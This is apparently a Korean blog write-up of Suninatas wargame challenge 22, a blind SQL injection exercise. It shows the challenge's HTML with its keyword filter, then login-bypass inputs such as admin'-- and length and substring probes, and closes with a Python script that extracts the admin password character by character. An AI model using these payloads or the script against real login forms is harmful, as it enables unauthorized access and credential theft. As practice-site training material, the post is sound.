ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Suninatas> 22번 문제
    Wargame/Suninatas 2021. 11. 5. 17:17

    22번 문제

    Blind Sql Injection 문제인 듯하다.

    Blind Sql Injection은 Sql Injection과 동일하지만, 데이터 베이스에서 데이터를 검색하는 방법만 다르다. 데이터베이스가 웹 페이지에 데이터를 출력하지 않을 때 공격자는 데이터베이스에 일련의 참 또는 거짓 질문을 하여 데이터를 빼내는 기법이다. 한 문자씩 추출해서 DB의 정보를 알아낼 수 있다.

     

    우선, 페이지 소스코드를 먼저 살펴본다.

    <!DOCTYPE html>
    
    <html>
    <head>
        <title>Game 22</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <link rel="shortcut icon" href="/static/img/game.ico" />
    </head>
    <body>
        <form method="get" action="./web22.asp">
            <br>
            <br>
            <br>
            <br>
            <br>
            <br>
            <br>
            <table width="400" cellpadding="0" cellspacing="0" align="center">
                <tr height="30">
                    <td width="200" class="table_top" align="center">
                        <input type="button" name="main_btn" value="main" style="width: 60" onclick="location.href = '/'"></td>
                    <td width="200" class="table_top" align="center">
                        <input type="button" name="main_btn" value="Back" style="width: 60" onclick="history.back()"></td>
                </tr>
                <tr height="30" class="table_main">
                    <td width="120" align="center" bgcolor="cccccc"><font size="2"><b>&nbsp&nbsp&nbspid</b></font></td>
                    <td width="280" align="center" bgcolor="cccccc">
                        <input type="text" name="id" style="width: 230"></td>
                </tr>
                <tr height="30" class="table_main">
                    <td align="center" bgcolor="cccccc"><font size="2"><b>pw</b></font></td>
                    <td align="center" bgcolor="cccccc">
                        <input type="password" name="pw" style="width: 230" maxlength="15"></td>
                </tr>
                <tr height="30">
                    <td colspan="2" align="center" class="table_top" bgcolor="cccccc">
                        <input type="button" name="btn" value="Login" onclick="submit()" size="20"></td>
                </tr>
                <tr class="table_main" height="30">
                    <td colspan="2" align="center" bgcolor="cccccc"><b>OK  <font size=4 color=blue>admin</font></b></td>
                </tr>
                <tr height="30">
                    <td colspan="2" align="center" class="table_top" bgcolor="cccccc">Filtering Keywords</td>
                </tr>
                <tr class="table_main" height="30">
                    <td colspan="2" align="center" bgcolor="cccccc">select / Union / or / white space / by / having
                        <br>
                        from / char / ascii / left / right / delay / 0x ..........
                    </td>
                </tr>
            </table>
    
        </form>
    </body>
    </html>
    
    
    <!-- Hint : guest / guest & Your goal is to find the admin's pw -->
    <!-- M@de by 2theT0P -->

    아이디와 패스워드를 GET 방식으로 제공하고,

    아래를 보면 guest의 정보를 제공하고 admin의 비밀번호를 찾으라고 한다.

     

    guest/guest로 먼저 로그인해보면

    'OK guest'라는 메시지가 뜬다. 로그인이 되었다.

     

    이제 admin으로 로그인해 보겠다. admin/password로 로그인해보면

    'No hack'라고 뜨는 걸로 봐서 'password'를 포함해서 아래의 키워드들은 필터링이 이뤄지고 있는 것을 확인할 수 있다.

     

    admin/admin으로 로그인해보면

    'False'라는 메시지가 출력된다. 즉, 로그인 정보가 맞으면 'OK {name}'을 틀리면 'False', 필터링되는 키워드가 포함되면 'No hack'이 출력되는 것을 알 수 있다.

     

    위 필터링 키워드에 없는 '--'(주석)을 사용하여 우회해보면(비밀번호는 주석처리되므로 아무거나)

    아이디 : admin'--

    비밀번호 : ex) 123

    'OK admin' 메시지와 함께 로그인이 되었다. 

    비밀번호를 찾기위해 우선 비밀번호의 길이를 알아보면

    아이디 : admin' and len(pw) > 9--

    비밀번호의 길이는 9보다 큰 것을 확인할 수 있다.

    아이디 : admin' and len(pw) > 10--

    'False'가 출력되는걸로 보아 비밀번호의 길이는 10인 것을 알 수 있다.

    이제 한 글자씩 확인하면 된다.

    아이디 : admin' and substring(pw,[1~10],1)='['a'-'Z']'--

    직접 손으로 한 글자 씩 확인할 수 있지만, 경우의 수가 제법 많다.

     

    그러므로 파이썬으로 구현할 수 있다.

    import requests
    
    pw = ''
    
    baseurl = "http://suninatas.com/challenge/web22/web22.asp"
    for i in range(1, 11):
    	for j in range(33, 128):
        	url = baseurl+"?id=admin' and unicode(substring(pw,{},1))={}--&pw=123".format(i,j)
            cookies = {'PHPSESSID':'자기 SESSIONID'}
            res = requests.get(url=url, cookies=cookies)
            
            if res.text.find("OK") != -1:
            	pw += chr(j)
                break
    print("password : ", pw)

     

    실행하면 비밀번호를 획득할 수 있다.

    'Wargame > Suninatas' 카테고리의 다른 글

    <Suninatas> 23번 문제  (0) 2021.11.07
    <Suninatas> 8번 문제  (0) 2021.11.01
    <Suninatas> 7번 문제  (0) 2021.10.31
    <Suninatas> 6번 문제  (0) 2021.10.31
    <Suninatas> 5번 문제  (0) 2021.10.29
Designed by Tistory.